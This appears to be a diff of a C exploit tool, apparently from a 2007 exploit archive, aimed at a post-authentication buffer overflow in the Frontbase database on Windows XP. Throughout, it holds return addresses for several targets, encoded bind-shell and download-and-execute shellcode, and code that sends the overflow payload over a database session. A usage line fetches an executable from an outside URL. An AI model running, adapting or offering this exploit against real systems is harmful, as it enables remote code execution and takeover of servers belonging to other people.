-void make_buffer(char * buf, int itarget, int sh, char * url)
-{
-	// -=[ prepare shellcode ]=-
-	char fsh[1000];
-	memset(fsh, 0, sizeof(fsh));	
-	prepare_shellcode(fsh, sh, url);
-	// -----------------
-	
-    // -=[ fill buffer here  ]=-
-	memset(buf,0,sizeof(buf));
-	char * cp = buf;
-
-		// make vulnerable sql92 command to get exploit
-	strcat(buf, "create procedure \"");
-	cp=buf+strlen(buf);	
-	
-		// long buffer
-	memset(cp, 'A', 255);  
-	cp+=strlen((char *)cp);
-
-		// overwrite EIP
-	*cp++ = (char)((targets[itarget].ret      ) & 0xff);
-	*cp++ = (char)((targets[itarget].ret >>  8) & 0xff);
-	*cp++ = (char)((targets[itarget].ret >> 16) & 0xff);
-	*cp++ = (char)((targets[itarget].ret >> 24) & 0xff);
-
-		// some chars
-	*cp++ = '\x41';
-	*cp++ = '\x41';
-	*cp++ = '\x41';
-	*cp++ = '\x41';
-	*cp++ = '\x41';
-	*cp++ = '\x41';
-	*cp++ = '\x41';
-	*cp++ = '\x41';
-	
-		// put stack stabilizer
-	memcpy(cp, stabstack, strlen(stabstack));  
-	cp+=strlen((char *)cp);
-
-		// put shellcode
-	memcpy(cp, fsh, strlen(fsh));
-	cp+=strlen((char *)cp);
-
-		// :P
-	memset(cp, 'A', 10);  
-	cp+=strlen((char *)cp);
-
-		// end of the sql92 command
-	memcpy(cp, "\"()\n begin\n end;", strlen("\"()\n begin\n end;"));
-
-	// -----------------
-}
-
-int send_buffer(char * host, int port, char * user, char * password, char * dbpassword, char * database, char * buf)
-{
-	FBCDatabaseConnection * fbdc;
-	FBCMetaData *meta;
-	char sesn[]="dreatica-fxp";   
-	if(database!=NULL) port = -1;
-	fbcInitialize();	
-   	if (port!=-1)
-	{
-		printf("[+] Connecting to %s:%d\n", host, port);
-		fbdc = fbcdcConnectToDatabaseUsingPort(host, port, dbpassword); 
-	}else
-	{
-		printf("[+] Connecting to %s to database %s\n", host, database);
-		fbdc = fbcdcConnectToDatabase(database, host, dbpassword);
-	}
-	if (fbdc == NULL)
-	{
-		printf("[-] Cannot connect to %s\n", host);
-		return -1;
-	}	
-	char * session_name=sesn;
-	meta = fbcdcCreateSession(fbdc, session_name, user, password, "system_user");
-	if (fbcmdErrorsFound(meta) != 0)
-	{
-		printf("[-] Failed to create session\n");
-		FBCErrorMetaData* emd = fbcdcErrorMetaData(fbdc, meta);
-		char* msgs = fbcemdAllErrorMessages(emd);		
-		fbcemdRelease(emd);
-		free(msgs);
-		fbcmdRelease(meta);
-		fbcdcClose(fbdc);
-		fbcdcRelease(fbdc);
-		return -1;
-	}   
-	fbcmdRelease(meta);
-	printf("[+] Sending %d bytes of buffer to server, check the shell\n", strlen(buf));
-		// if exploit success, the app will stop here.
-	meta = fbcdcExecuteDirectSQL(fbdc, buf);
-	if (fbcmdErrorsFound(meta) != 0)
-	{
-		printf("[-] Failed to send buffer\n");
-		FBCErrorMetaData* emd = fbcdcErrorMetaData(fbdc, meta);
-		char* msgs = fbcemdAllErrorMessages(emd);		
-		fbcemdRelease(emd);
-		free(msgs);
-		fbcmdRelease(meta);
-		fbcdcClose(fbdc);
-		fbcdcRelease(fbdc);
-		return -1;
-	}
-	fbcmdRelease(meta);
-	return 1;
-}
-
-
-// alphanumeric encoder took from "ALPHA 2: Zero-tolerance." code
-int alphanumeric_encoder_thx_to_skylined(char *to_encode, char *encoded )
-{
-  int   i,ii=0, input, A, B, C, D, E, F, length=(int)strlen(to_encode);
-  char* valid_chars = "0123456789BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; // mixed chars
-  char temp[10];
-  memset(temp, 0 , sizeof(temp));
-  memset(encoded,0x00,1000);  
-  srand((int)clock());  
-  while( (input = to_encode[ii++]) != 0 ) {
-    A = (input & 0xf0) >> 4;
-    B = (input & 0x0f);
-    F = B;
-    i = rand() % ((int)strlen(valid_chars));
-    while ((valid_chars[i] & 0x0f) != F) { i = ++i % ((int)strlen(valid_chars)); }
-    E = valid_chars[i] >> 4;
-    D = (A^E);
-    i = rand() % ((int)strlen(valid_chars));
-    while ((valid_chars[i] & 0x0f) != D) { i = ++i % ((int)strlen(valid_chars)); }
-    C = valid_chars[i] >> 4;
-    sprintf(temp,"%c%c", (C<<4)+D, (E<<4)+F);
-    encoded[strlen(encoded)]=temp[0];
-	encoded[strlen(encoded)]=temp[1];
-  }
-  encoded[strlen(encoded)]='A';
-  return 0;
-}
-
-
-
-// -----------------------------------------------------------------
-// XGetopt.cpp  Version 1.2
-// -----------------------------------------------------------------
-int getopt(int argc, char *argv[], char *optstring)
-{
-	static char *next = NULL;
-	if (optind == 0)
-		next = NULL;
-
-	optarg = NULL;
-
-	if (next == NULL || *next == '\0')
-	{
-		if (optind == 0)
-			optind++;
-
-		if (optind >= argc || argv[optind][0] != '-' || argv[optind][1] == '\0')
-		{
-			optarg = NULL;
-			if (optind < argc)
-				optarg = argv[optind];
-			return EOF;
-		}
-
-		if (strcmp(argv[optind], "--") == 0)
-		{
-			optind++;
-			optarg = NULL;
-			if (optind < argc)
-				optarg = argv[optind];
-			return EOF;
-		}
-
-		next = argv[optind];
-		next++;		// skip past -
-		optind++;
-	}
-
-	char c = *next++;
-	char *cp = strchr(optstring, c);
-
-	if (cp == NULL || c == ':')
-		return '?';
-
-	cp++;
-	if (*cp == ':')
-	{
-		if (*next != '\0')
-		{
-			optarg = next;
-			next = NULL;
-		}
-		else if (optind < argc)
-		{
-			optarg = argv[optind];
-			optind++;
-		}
-		else
-		{
-			return '?';
-		}
-	}
-
-	return c;
-}
-// -----------------------------------------------------------------
-// -----------------------------------------------------------------
-// -----------------------------------------------------------------
-
-
-
-
-void usage(char * s)
-{	
-	printf("   Usage: %s -h <host> -p <port> -s <shellcode> -t <target> -u <user> -p <password> -d <database> -D <dbpassword> -x <url>\n", s);
-    printf(" ----------------------------------------------------------------------- \n");
-	printf("   Arguments:\n");
-	printf("\n");
-	printf("      -h <host>       the host IP to attack\n");
-	printf("      -p <port>       the port of server      (default: -1     )\n");
-	printf("      -s <shellcode>  shellcode number        (default: 1      )\n");
-	printf("      -t <target>     target number           (default: 1      )\n");
-	printf("      -u <user>       user name of frontbase  (default: _SYSTEM)\n");
-	printf("      -p <password>   user password           (default: <blank>)\n");
-	printf("      -d <database>   database (if port = -1) (default: <blank>)\n");
-	printf("      -D <dbpassword> database password       (default: <blank>)\n");
-	printf("      -x <url>        URL to executable       (default: <blank>)\n");
-	printf("\n");
-	printf("   Shellcodes:\n\n");
-	for(int i=0; shellcodes[i].name!=0;i++)
-	{
-		printf("      %d. %s \n",i+1,shellcodes[i].name);				
-	}	
-	printf("\n");
-	printf("   Targets:\n\n");
-	for(int j=0; targets[j].t!=0;j++)
-	{
-		printf("      %d. %s\n",j+1,targets[j].t);
-	}		
-	printf("\n");
-	printf("   Examples:\n\n");
-	printf("    %s -h 127.0.0.1 -d New\n", s);
-	printf("    %s -h 127.0.0.1 -p 1155 -u root -p dta -D dta -t 1\n", s);
-	printf("    %s -h 127.0.0.1 -d New -t 5 -s 2 -x http://dreatica.com/calc.exe\n", s);
-	printf(" ----------------------------------------------------------------------- \n");	
-}
-
-void logo()
-{
-	printf(" ####################################################################### \n");	
-	printf(" #     ____                 __  _                  ______  __    _____ #\n");
-	printf(" #    / __ \\________  _____/ /_(_)_________       / __/\\ \\/ /   / _  / #\n");
-	printf(" #   / / / / ___/ _ \\/ __ / __/ / ___/ __ / ___  / /    \\  /   / // /  #\n");
-	printf(" #  / /_/ / / /  ___/ /_// /_/ / /__/ /_// /__/ / _/    /  \\  / ___/   #\n");
-	printf(" # /_____/_/  \\___/ \\_,_/\\__/_/\\___/\\__,_/     /_/     /_/\\_\\/_/       #\n");
-	printf(" #                                 crew                                #\n");
-	printf(" ####################################################################### \n");	
-	printf(" #  Exploit : Frontbase <= 4.2.7 for Windows (multiple targets)        # \n");
-	printf(" #  Tested  : Frontbase 4.1.16 and 4.2.7                               # \n");
-	printf(" #  Author  : Heretic2 (heretic2x@gmail.com)                           # \n");
-	printf(" #  Version : 2.2                                                      # \n");
-	printf(" #  System  : Windows XP SP0-SP2                                       # \n");
-	printf(" #  Date    : 02.04.2007                                               # \n");
-	printf(" # ------------------------------------------------------------------- # \n");
-}
-
-// milw0rm.com [2007-04-02]
+/* Dreatica-FXP crew
+* 
+* ----------------------------------------
+* Target         : Frontbase <= 4.2.7 for Windows 
+* Site           : http://www.frontbase.com
+* Found by       : Netragard, L.L.C Advisory
+* ----------------------------------------
+* Exploit        : Frontbase <= 4.2.7 POST-AUTH remote buffer overflow 
+* Exploit date   : 02.04.2007
+* Exploit writer : Heretic2 (heretic2x@gmail.com)
+* OS             : Windows XP SP0-SP2 
+* Crew           : Dreatica-FXP
+* ----------------------------------------
+* Info           : This is the EIP overwrite realization of the Frontbase 'create procedure' buffer overflow.
+*  Exploit was tested on Frontbase 4.2.7 and 4.1.16 versions under Windows XP SP0, Windows XP SP1, Windows XP SP2.
+*  to add the Windows 2000 here , you will need to update a little stabstack code or use the SEH method exploit.
+* 
+*  this version of that exploit doesn't used the code from win32 SEH GetPC project to get the baseaddress
+*  cause this was not worked on the Windows XP, so i took it from stack and calculated baseaddress.
+*
+*  also i added here the 'Download and Execute exploit'.
+*
+*  Exploit requires authentification!
+*
+* ----------------------------------------
+* Compiling:
+*  To compile this exploit you need:
+*    1. Folder 'C:\usr\FrontBase\Include\FBCAccess' copy to exploit folder.
+*    2. Copy from 'C:\usr\FrontBase\lib\' file 'FBCAccess.lib' to your exploit folder.
+*    3. Select 'FBCAccess.lib' in linker options
+*    4. Compile.
+* ----------------------------------------
+* Thanks to:
+*       1. Netragard, L.L.C Advisory   ( http://www.netragard.com -- "We make I.T. Safe." )
+*       2. The Metasploit project      ( http://metasploit.com                            ) 
+*       3. ALPHA 2: Zero-tolerance     ( <skylined [at] edup.tudelft.nl>                  ) 
+*       4. Dreatica-FXP crew           (                                                  )
+* ----------------------------------------
+* This was written for educational purpose only. Use it at your own risk. Author will be not be 
+* responsible for any damage, caused by that code.
+*/
+
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <winsock2.h>
+#include <time.h>
+#pragma comment(lib,"ws2_32")
+#include "FBCAccess/FBCAccess.h"
+
+void usage(char * s);
+void logo();
+void prepare_shellcode(unsigned char * fsh, int sh, char * url);
+void make_buffer(char * buf, int itarget, int sh, char * url);
+int  validate_args( int port, int sh, int itarget);
+int  send_buffer(char * host, int port, char * user, char * password, char * dbpassword, char * database, char * buf);
+int  alphanumeric_encoder_thx_to_skylined(char *to_encode, char *encoded );
+
+// -----------------------------------------------------------------
+// XGetopt.cpp  Version 1.2
+// -----------------------------------------------------------------
+int getopt(int argc, char *argv[], char *optstring);
+char	*optarg;		// global argument pointer
+int		optind = 0, opterr; 	// global argv index
+// -----------------------------------------------------------------
+// -----------------------------------------------------------------
+
+struct _target{
+	const char *t ;
+	unsigned long ret ;
+} targets[] = 
+{	// alphanumeric jmp esp, for Windows XP i found it only in ole32.dll
+	{"Windows XP SP0 RUSSIAN                   [  ole32.dll  ]",   0x77271f36 }, 
+	{"Windows XP SP1 RUSSIAN                   [  ole32.dll  ]",   0x77270670 }, 
+	{"Windows XP SP2 RUSSIAN                   [  ole32.dll  ]",   0x77544326 }, 
+	{"Windows XP SP2 DUTCH                     [  ole32.dll  ]",   0x77514326 }, 	
+	{NULL,                                               0x00000000 }
+
+};
+struct {
+	const char * name;
+	char * shellcode;
+}shellcodes[]={ 	
+	 {"Spawn bindshell on port 4444", 
+		 /* modified win32_bind -  EXITFUNC=seh LPORT=4444 Encoder=Alpha2 http://metasploit.com 
+		    first jmp instructions removed, cause we already have the baseaddress in ECX */
+		"\x49\x49\x49\x49\x49\x49"
+		"\x49\x49\x49\x49\x49\x37\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x66"
+		"\x58\x30\x42\x31\x50\x41\x42\x6b\x42\x41\x76\x32\x42\x42\x32\x41"
+		"\x41\x30\x41\x41\x42\x58\x50\x38\x42\x42\x75\x38\x69\x39\x6c\x52"
+		"\x4a\x5a\x4b\x42\x6d\x68\x68\x48\x79\x4b\x4f\x6b\x4f\x4b\x4f\x65"
+		"\x30\x6c\x4b\x30\x6c\x31\x34\x71\x34\x4e\x6b\x42\x65\x65\x6c\x6e"
+		"\x6b\x53\x4c\x43\x35\x62\x58\x55\x51\x4a\x4f\x4e\x6b\x72\x6f\x54"
+		"\x58\x6c\x4b\x51\x4f\x77\x50\x53\x31\x78\x6b\x43\x79\x4e\x6b\x54"
+		"\x74\x6c\x4b\x35\x51\x6a\x4e\x64\x71\x6f\x30\x6e\x79\x6e\x4c\x6d"
+		"\x54\x6f\x30\x64\x34\x55\x57\x4f\x31\x59\x5a\x36\x6d\x36\x61\x59"
+		"\x52\x5a\x4b\x4c\x34\x37\x4b\x62\x74\x47\x54\x46\x48\x70\x75\x4d"
+		"\x35\x6c\x4b\x73\x6f\x64\x64\x33\x31\x4a\x4b\x43\x56\x4c\x4b\x44"
+		"\x4c\x62\x6b\x6e\x6b\x63\x6f\x57\x6c\x65\x51\x6a\x4b\x77\x73\x56"
+		"\x4c\x6c\x4b\x6e\x69\x62\x4c\x44\x64\x45\x4c\x55\x31\x6f\x33\x44"
+		"\x71\x6b\x6b\x51\x74\x4e\x6b\x53\x73\x30\x30\x4e\x6b\x57\x30\x34"
+		"\x4c\x6c\x4b\x64\x30\x37\x6c\x4e\x4d\x6c\x4b\x53\x70\x73\x38\x73"
+		"\x6e\x30\x68\x4c\x4e\x62\x6e\x74\x4e\x38\x6c\x30\x50\x79\x6f\x6a"
+		"\x76\x51\x76\x30\x53\x42\x46\x72\x48\x35\x63\x45\x62\x33\x58\x64"
+		"\x37\x64\x33\x74\x72\x43\x6f\x33\x64\x4b\x4f\x78\x50\x52\x48\x38"
+		"\x4b\x7a\x4d\x4b\x4c\x57\x4b\x62\x70\x69\x6f\x6e\x36\x71\x4f\x6e"
+		"\x69\x4b\x55\x33\x56\x6c\x41\x4a\x4d\x76\x68\x74\x42\x63\x65\x51"
+		"\x7a\x77\x72\x4b\x4f\x4a\x70\x63\x58\x6e\x39\x35\x59\x6b\x45\x4e"
+		"\x4d\x30\x57\x4b\x4f\x38\x56\x50\x53\x50\x53\x42\x73\x51\x43\x70"
+		"\x53\x70\x43\x32\x73\x52\x63\x76\x33\x59\x6f\x6e\x30\x55\x36\x33"
+		"\x58\x76\x71\x71\x4c\x63\x56\x56\x33\x6e\x69\x59\x71\x4e\x75\x55"
+		"\x38\x4c\x64\x55\x4a\x72\x50\x6b\x77\x56\x37\x4b\x4f\x4e\x36\x53"
+		"\x5a\x56\x70\x32\x71\x33\x65\x69\x6f\x4e\x30\x62\x48\x39\x34\x4c"
+		"\x6d\x74\x6e\x4a\x49\x63\x67\x69\x6f\x79\x46\x43\x63\x36\x35\x6b"
+		"\x4f\x68\x50\x35\x38\x5a\x45\x70\x49\x6d\x56\x70\x49\x41\x47\x6b"
+		"\x4f\x68\x56\x56\x30\x41\x44\x33\x64\x71\x45\x69\x6f\x4e\x30\x4d"
+		"\x43\x53\x58\x5a\x47\x70\x79\x6b\x76\x73\x49\x41\x47\x49\x6f\x4e"
+		"\x36\x63\x65\x4b\x4f\x4e\x30\x53\x56\x50\x6a\x35\x34\x53\x56\x41"
+		"\x78\x61\x73\x30\x6d\x4c\x49\x4b\x55\x72\x4a\x72\x70\x76\x39\x45"
+		"\x79\x58\x4c\x6b\x39\x59\x77\x31\x7a\x67\x34\x4c\x49\x49\x72\x70"
+		"\x31\x6f\x30\x6c\x33\x6f\x5a\x69\x6e\x72\x62\x36\x4d\x4b\x4e\x53"
+		"\x72\x34\x6c\x6a\x33\x6e\x6d\x62\x5a\x36\x58\x6c\x6b\x4c\x6b\x4e"
+		"\x4b\x61\x78\x30\x72\x6b\x4e\x6d\x63\x46\x76\x4b\x4f\x44\x35\x32"
+		"\x64\x39\x6f\x38\x56\x51\x4b\x70\x57\x52\x72\x70\x51\x32\x71\x53"
+		"\x61\x42\x4a\x43\x31\x56\x31\x46\x31\x70\x55\x43\x61\x79\x6f\x6a"
+		"\x70\x62\x48\x6e\x4d\x59\x49\x67\x75\x7a\x6e\x33\x63\x39\x6f\x59"
+		"\x46\x63\x5a\x59\x6f\x4b\x4f\x76\x57\x6b\x4f\x6a\x70\x4c\x4b\x61"
+		"\x47\x59\x6c\x6b\x33\x38\x44\x43\x54\x49\x6f\x58\x56\x36\x32\x59"
+		"\x6f\x4e\x30\x43\x58\x68\x70\x4f\x7a\x54\x44\x73\x6f\x71\x43\x4b"
+		"\x4f\x4e\x36\x6b\x4f\x78\x50\x66"
+	 },	 
+	 { "Download and execute shellcode (set URL)",
+		/* win32_download_exec - http://metasploit.com */
+		/* encoded by "ALPHA 2: Zero-tolerance. <skylined@edup.tudelft.nl> */
+		"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
+		"\x49\x37\x51\x5A\x6A\x41\x58\x50\x30\x41\x30\x41\x6B\x41\x41\x51"
+		"\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42"
+		"\x75\x4A\x49\x58\x6B\x36\x70\x71\x4A\x33\x7A\x76\x53\x59\x59\x71"
+		"\x76\x38\x39\x57\x4C\x35\x51\x6B\x30\x74\x74\x74\x4A\x6E\x79\x39"
+		"\x72\x7A\x5A\x78\x6B\x36\x65\x4D\x38\x7A\x4B\x4B\x4F\x4B\x4F\x4B"
+		"\x4F\x54\x30\x50\x4C\x4E\x79\x6C\x59\x5A\x39\x4F\x33\x79\x6D\x55"
+		"\x68\x6C\x69\x5A\x39\x4E\x79\x4A\x39\x34\x52\x58\x59\x6E\x75\x54"
+		"\x52\x4B\x59\x6D\x55\x36\x54\x45\x42\x7A\x79\x6F\x61\x56\x72\x53"
+		"\x71\x34\x52\x5A\x4A\x6D\x75\x76\x72\x4A\x4D\x4E\x67\x4D\x31\x6F"
+		"\x6A\x72\x4A\x36\x72\x6B\x57\x4E\x59\x4F\x6A\x33\x52\x76\x72\x6E"
+		"\x37\x4C\x4D\x6F\x5A\x74\x34\x7A\x6F\x48\x4E\x79\x58\x55\x42\x4D"
+		"\x76\x4C\x5A\x73\x52\x74\x52\x32\x4B\x6B\x43\x4C\x57\x49\x50\x52"
+		"\x4A\x75\x6F\x7A\x4D\x4A\x31\x69\x50\x59\x56\x54\x5A\x51\x4E\x4F"
+		"\x6D\x69\x4C\x33\x4B\x64\x30\x4B\x70\x6F\x36\x6B\x77\x54\x52\x73"
+		"\x64\x62\x32\x79\x4F\x4D\x6D\x6E\x7A\x70\x5A\x73\x78\x70\x78\x4F"
+		"\x6A\x62\x78\x6D\x7A\x50\x50\x4B\x4F\x75\x42\x4A\x31\x75\x42\x4B"
+		"\x6F\x6F\x75\x4D\x4A\x61\x4A\x52\x78\x52\x58\x4D\x4B\x6E\x7A\x50"
+		"\x58\x66\x72\x4D\x49\x6D\x4A\x51\x4A\x56\x72\x55\x33\x62\x32\x50"
+		"\x6E\x55\x4A\x51\x4F\x4E\x77\x75\x42\x63\x79\x49\x63\x4D\x4D\x39"
+		"\x50\x32\x51\x4B\x79\x4D\x49\x6D\x49\x6E\x79\x76\x7A\x51\x4F\x4C"
+		"\x54\x68\x4B\x78\x4F\x71\x76\x6A\x6E\x55\x35\x59\x53\x77\x62\x53"
+		"\x71\x4B\x43\x4E\x78\x39\x50\x31\x61\x59\x34\x4D\x49\x4C\x59\x6E"
+		"\x79\x46\x7A\x71\x4F\x6F\x7A\x6A\x6F\x69\x4F\x74\x59\x4D\x77\x77"
+		"\x69\x78\x6C\x73\x53\x37\x69\x6E\x4F\x37\x69\x7A\x67\x75\x4A\x73"
+		"\x45\x6E\x59\x75\x42\x71\x55\x6B\x43\x78\x39\x4B\x7A\x45\x36\x68"
+		"\x4E\x73\x45\x31\x4E\x6D\x4D\x4F\x6A\x39\x55\x79\x68\x6E\x57\x4B"
+		"\x4C\x51\x4E\x6B\x6D\x4F\x6A\x4D\x4D\x38\x61\x79\x6C\x6C\x59\x6A"
+		"\x39\x4F\x5A\x70\x59\x4B\x79\x79\x59\x6A\x6A\x4A\x6F\x39\x59\x73"
+		"\x56\x48\x4E\x53\x55\x55\x42\x71\x55\x6B\x79\x6A\x6A\x50\x66\x48"
+		"\x4E\x65\x39\x6A\x69\x65\x36\x78\x4E\x50\x6D\x6F\x5A\x52\x79\x30"
+		"\x35\x35\x4C\x50\x59\x4A\x4C\x31\x70\x58\x48\x78\x4B\x78\x4F\x6A"
+		"\x6A\x52\x46\x50\x4B\x68\x43\x6B\x70\x74\x72\x73\x4B\x70\x77\x4F"
+		"\x5A\x56\x39\x73\x6A\x61\x61\x4D\x6F\x63\x56\x43\x56\x75\x36\x4B"
+		"\x6E\x79\x6C\x7A\x4D\x6F\x39\x78\x6B\x58\x76\x6B\x4A\x78\x58\x4B"
+		"\x4D\x6B\x4D\x5A\x4B\x4B\x4C\x4A\x4A\x7A\x4A\x5A\x39\x59\x4E\x6B"
+		"\x4C\x48\x6D\x5A\x6A\x6B\x50\x4B\x5A\x5A\x4D\x4B\x4C\x4B\x44\x6B"
+		"\x6D\x6C\x30\x4A\x4B\x6B\x4C\x79\x6A\x58\x6D\x59\x66\x5A\x4B\x59"
+		"\x70\x68\x58\x4D\x49\x7A\x6E\x6A\x50\x4C\x37\x4B\x6C\x6D\x31\x6B"
+		"\x4C\x6B\x4A\x6C\x59\x4B\x6C\x6B\x51\x5A\x50\x48\x6D\x4A\x6D\x68"
+		"\x71\x4A\x4B\x79\x6C\x59\x68\x6B\x4D\x4F\x69\x6E\x35\x4B\x46\x6B"
+		"\x48\x4B\x4D\x4E\x35\x78\x70\x6B\x4B\x4A\x4B\x7A\x58\x48\x6B\x4B"
+		"\x50\x4A\x78\x4C\x59\x4A\x4C\x4A\x4B\x6A\x55\x59\x64\x4C\x36\x6B"
+		"\x47\x4E\x79\x68\x4C\x38\x4B\x7A\x75\x4B\x6D\x79\x66\x7A\x4E\x4B"
+		"\x47\x39\x65\x4A\x56\x58\x78\x4B\x4D\x7A\x6D\x4C\x36\x59\x4F\x78"
+		"\x70\x7A\x55\x39\x6C\x6E\x38\x6D\x49"
+	 },
+	{NULL , NULL }
+};
+
+// alphanumeric stack stabilizer
+char stabstack[]= "\x01\x01\x01\x01\x54\x54\x5b\x58\x66\x2d\x30\x30\x50\x5c\x53\x58\x04\x20\x50\x59";
+
+int main(int argc, char **argv)
+{
+	char temp1[100], temp2[100];
+	char *url= NULL, * remotehost=NULL, * user=NULL, * password=NULL, * database=NULL, * dbpassword=NULL;
+	char default_remotehost[]="127.0.0.1";
+	char default_user[]="_SYSTEM";
+	char default_password[]="";
+	char default_database[]="";
+	char default_dbpassword[]="";
+	int port, itarget, sh;
+	char c;		
+	logo();
+	if(argc<2)
+	{
+		usage(argv[0]);		
+		return -1;
+	}
+	// set defaults		
+	port=-1;
+	itarget=0;
+	sh=0;
+	// ------------		
+	while((c = getopt(argc, argv, "h:p:s:t:u:P:d:D:x:"))!= EOF)
+	{
+		switch (c)
+		{
+			case 'h':
+				remotehost=optarg;
+				break; 	
+			case 's':
+				sscanf(optarg, "%d", &sh);
+				sh--;
+				break;
+			case 't':
+				sscanf(optarg, "%d", &itarget);
+				itarget--;
+				break;
+			case 'p':
+				sscanf(optarg, "%d", &port);
+				break;		
+			case 'u':
+				user=optarg;
+				break; 
+			case 'P':
+				password=optarg;
+				break; 
+			case 'd':
+				database=optarg;
+				break; 
+			case 'x':
+				url=optarg;
+				break;
+			default:
+	            usage(argv[0]);
+			return -1;
+		}		
+	}
+	if(validate_args( port, sh, itarget)==-1) return -1;
+	if(remotehost == NULL) remotehost=default_remotehost;
+	if(user       == NULL) user=default_user;
+	if(password   == NULL) password=default_password;
+	if(dbpassword == NULL) dbpassword=default_dbpassword;
+	if(database   == NULL) database=default_database;
+	if(url        == NULL) url="";
+	memset(temp1,0,sizeof(temp1));
+	memset(temp2,0,sizeof(temp2));
+	memset(temp1, '\x20' , 58 - strlen(remotehost) -1);	
+	printf(" #  Host    : %s%s# \n", remotehost, temp1);	
+	if(port!=-1)
+	{
+		sprintf(temp2, "%d", port);
+		memset(temp1,0,sizeof(temp1));
+		memset(temp1, '\x20' , 58 - strlen(temp2) -1);
+		printf(" #  Port    : %s%s# \n", temp2, temp1);
+	}else
+	{
+		sprintf(temp2, "%s", database);
+		memset(temp1,0,sizeof(temp1));
+		memset(temp1, '\x20' , 58 - strlen(temp2) -1);
+		printf(" #  Database: %s%s# \n", temp2, temp1);
+	}
+	sprintf(temp2, "%s", user);
+	memset(temp1,0,sizeof(temp1));
+	memset(temp1, '\x20' , 58 - strlen(temp2) -1);
+	printf(" #  User    : %s%s# \n", temp2, temp1);
+	memset(temp1,0,sizeof(temp1));	
+	memset(temp2,0,sizeof(temp2));
+	sprintf(temp2, "%s", shellcodes[sh].name );
+	memset(temp1, '\x20' , 58 - strlen(temp2) -1);	
+	printf(" #  Shellcde: %s%s# \n", temp2, temp1);	
+	if(sh==1)
+	{
+		memset(temp1,0,sizeof(temp1));	
+		memset(temp2,0,sizeof(temp2));
+		sprintf(temp2, "%s", url );
+		memset(temp1, '\x20' , 58 - strlen(temp2) -1);	
+		printf(" #  URL     : %s%s# \n", temp2, temp1);	
+	}
+	memset(temp1,0,sizeof(temp1));	
+	memset(temp1, '\x20' , 58 - strlen(targets[itarget].t) -1);	
+	printf(" #  Target  : %s%s# \n", targets[itarget].t, temp1);	
+	printf(" # ------------------------------------------------------------------- # \n");
+	fflush(stdout);
+	
+	char buf[20000];
+	memset(buf,0,sizeof(buf));
+	printf("[+] Constructing attacking buffer... ");
+	fflush(stdout);
+	make_buffer((char *)buf,itarget,sh, url);
+	printf("done\n");
+
+	if(send_buffer(remotehost,port, user, password, dbpassword, database, buf)==-1)
+	{
+		fprintf(stdout, "[-] Cannot exploit server %s\n", remotehost);		
+		return -1;
+	}
+	return 0;
+}
+
+int validate_args(int port, int sh, int itarget)
+{
+	int i=0,x=0;
+	for(i=0;shellcodes[i].name;i++)if(i==sh)x=1;
+    if(x==0)
+	{
+		printf("[-] The shellcode number is invalid\n");
+		return -1;
+	}	
+	x=0;
+	for(i=0;targets[i].t;i++)if(i==itarget)x=1;
+	if(x==0)
+	{
+		printf("[-] The target is invalid\n");
+		return -1;
+	}	
+	return 1;
+}
+
+void prepare_shellcode( char * fsh, int sh, char * url)
+{
+	memcpy(fsh, shellcodes[sh].shellcode, strlen(shellcodes[sh].shellcode));	
+	if(sh==1)
+	{
+		char locurl[1000];
+		memcpy(locurl, url, strlen(url));
+		locurl[strlen(locurl)]='\x80';
+		char encoded_url[2500] ;
+		alphanumeric_encoder_thx_to_skylined(locurl, encoded_url);
+		strcat(fsh, encoded_url);	
+	}
+}
+void make_buffer(char * buf, int itarget, int sh, char * url)
+{
+	// -=[ prepare shellcode ]=-
+	char fsh[1000];
+	memset(fsh, 0, sizeof(fsh));	
+	prepare_shellcode(fsh, sh, url);
+	// -----------------
+	
+    // -=[ fill buffer here  ]=-
+	memset(buf,0,sizeof(buf));
+	char * cp = buf;
+
+		// make vulnerable sql92 command to get exploit
+	strcat(buf, "create procedure \"");
+	cp=buf+strlen(buf);	
+	
+		// long buffer
+	memset(cp, 'A', 255);  
+	cp+=strlen((char *)cp);
+
+		// overwrite EIP
+	*cp++ = (char)((targets[itarget].ret      ) & 0xff);
+	*cp++ = (char)((targets[itarget].ret >>  8) & 0xff);
+	*cp++ = (char)((targets[itarget].ret >> 16) & 0xff);
+	*cp++ = (char)((targets[itarget].ret >> 24) & 0xff);
+
+		// some chars
+	*cp++ = '\x41';
+	*cp++ = '\x41';
+	*cp++ = '\x41';
+	*cp++ = '\x41';
+	*cp++ = '\x41';
+	*cp++ = '\x41';
+	*cp++ = '\x41';
+	*cp++ = '\x41';
+	
+		// put stack stabilizer
+	memcpy(cp, stabstack, strlen(stabstack));  
+	cp+=strlen((char *)cp);
+
+		// put shellcode
+	memcpy(cp, fsh, strlen(fsh));
+	cp+=strlen((char *)cp);
+
+		// :P
+	memset(cp, 'A', 10);  
+	cp+=strlen((char *)cp);
+
+		// end of the sql92 command
+	memcpy(cp, "\"()\n begin\n end;", strlen("\"()\n begin\n end;"));
+
+	// -----------------
+}
+
+int send_buffer(char * host, int port, char * user, char * password, char * dbpassword, char * database, char * buf)
+{
+	FBCDatabaseConnection * fbdc;
+	FBCMetaData *meta;
+	char sesn[]="dreatica-fxp";   
+	if(database!=NULL) port = -1;
+	fbcInitialize();	
+   	if (port!=-1)
+	{
+		printf("[+] Connecting to %s:%d\n", host, port);
+		fbdc = fbcdcConnectToDatabaseUsingPort(host, port, dbpassword); 
+	}else
+	{
+		printf("[+] Connecting to %s to database %s\n", host, database);
+		fbdc = fbcdcConnectToDatabase(database, host, dbpassword);
+	}
+	if (fbdc == NULL)
+	{
+		printf("[-] Cannot connect to %s\n", host);
+		return -1;
+	}	
+	char * session_name=sesn;
+	meta = fbcdcCreateSession(fbdc, session_name, user, password, "system_user");
+	if (fbcmdErrorsFound(meta) != 0)
+	{
+		printf("[-] Failed to create session\n");
+		FBCErrorMetaData* emd = fbcdcErrorMetaData(fbdc, meta);
+		char* msgs = fbcemdAllErrorMessages(emd);		
+		fbcemdRelease(emd);
+		free(msgs);
+		fbcmdRelease(meta);
+		fbcdcClose(fbdc);
+		fbcdcRelease(fbdc);
+		return -1;
+	}   
+	fbcmdRelease(meta);
+	printf("[+] Sending %d bytes of buffer to server, check the shell\n", strlen(buf));
+		// if exploit success, the app will stop here.
+	meta = fbcdcExecuteDirectSQL(fbdc, buf);
